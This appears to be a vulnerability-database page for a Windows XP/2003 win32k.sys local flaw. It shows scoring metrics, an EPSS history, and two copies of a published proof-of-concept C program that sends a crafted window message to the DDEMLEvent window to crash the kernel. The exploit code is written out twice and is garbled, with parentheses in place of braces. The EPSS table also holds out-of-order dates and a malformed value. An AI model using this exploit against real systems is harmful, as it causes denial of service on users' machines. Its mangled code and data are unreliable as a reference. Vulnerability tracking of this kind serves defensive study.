CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The Windows kernel-mode drivers in win32k.sys in Microsoft Windows XP SP2 and SP3, and Windows Server 2003 SP2, do not properly handle unspecified exceptions, which allows local users to gain privileges via a crafted application, aka "Win32k Exception Handling Vulnerability."
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.12%
–
–
2022-03-13
–
–
2.12%
–
–
2022-04-03
–
–
2.12%
–
–
2022-06-19
–
–
2.12%
–
–
2022-11-13
–
–
2.12%
–
–
2022-11-20
–
–
2.12%
–
–
2022-12-25
–
–
2.12%
–
–
2023-01-01
–
–
2.12%
–
–
2023-02-19
–
–
2.12%
–
–
2023-03-12
–
–
–
0.04%
–
2023-05-14
–
–
–
0.04%
–
2023-06-04
–
–
–
0.04%
–
2023-06-25
–
–
–
0.04%
–
2023-07-02
–
–
–
0.04%
–
2023-07-09
–
–
–
0.04%
–
2023-07-30
–
–
–
0.04%
–
2023-09-17
–
–
–
0.04%
–
2023-12-03
–
–
–
0.04%
–
2024-03-10
–
–
–
0.04%
–
2024-04-14
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-16
–
–
–
0.04%
–
2024-08-04
–
–
–
0.04%
–
2024-08-11
–
–
–
0.04%
–
2024-11-10
–
–
–
0.04%
–
2024-12-22
–
–
–
0.05%
–
2025-03-02
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-09
–
–
–
0.05%
–
2025-03-18
–
–
–
–
2.91%
2025-03-30
–
–
–
–
2.56%
2025-04-15
–
–
–
–
2.56%
2025-04-22
–
–
–
–
1.04%
2025-04-22
–
–
–
–
1.04,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2010-08-09 22h00 +00:00 Author : MJ0011 EDB Verified : No
/*
source: https://www.securityfocus.com/bid/39630/info
Microsoft Windows is prone to a local privilege-escalation vulnerability.
A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.
Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue.
*/
# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
getchar();
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
if (hwnd == 0)
(
printf ("cannot find DDEMLEvent Window! \ n");
return 0;
)
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);
return 0;
)
Publication date : 2010-04-21 22h00 +00:00 Author : MJ0011 EDB Verified : No
/*
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability
Effect : Microsoft Windows 2000/XP/2003 full patch
Author:MJ0011
Published: 2010-04-22
Vulnerability Details:
Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to
BSOD
Pseudo-code:
if (wParam == 4 | | wParam == 13 | | wParam == 12)
(
v18 = * (_DWORD *) lParam;
v19 = * (_DWORD *) (lParam 4);
v20 = * (_DWORD *) (lParam 8);
v21 = * (_DWORD *) (lParam 12);
*/
//Exploit code:
# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
getchar();
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
if (hwnd == 0)
(
printf ("cannot find DDEMLEvent Window! \ n");
return 0;
)
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);
return 0;
)
Common crash stack:
kd> kc
win32k! SfnLOGONNOTIFY
win32k! xxxDefWindowProc
win32k! xxxEventWndProc
win32k! xxxDispatchMessage
win32k! NtUserDispatchMessage
/*
....
Windows 7/Vista no such problem
Thanks:
Thanks to my colleagues LYL to help me discovered this vulnerability
th_decoder
2010-04-22
*/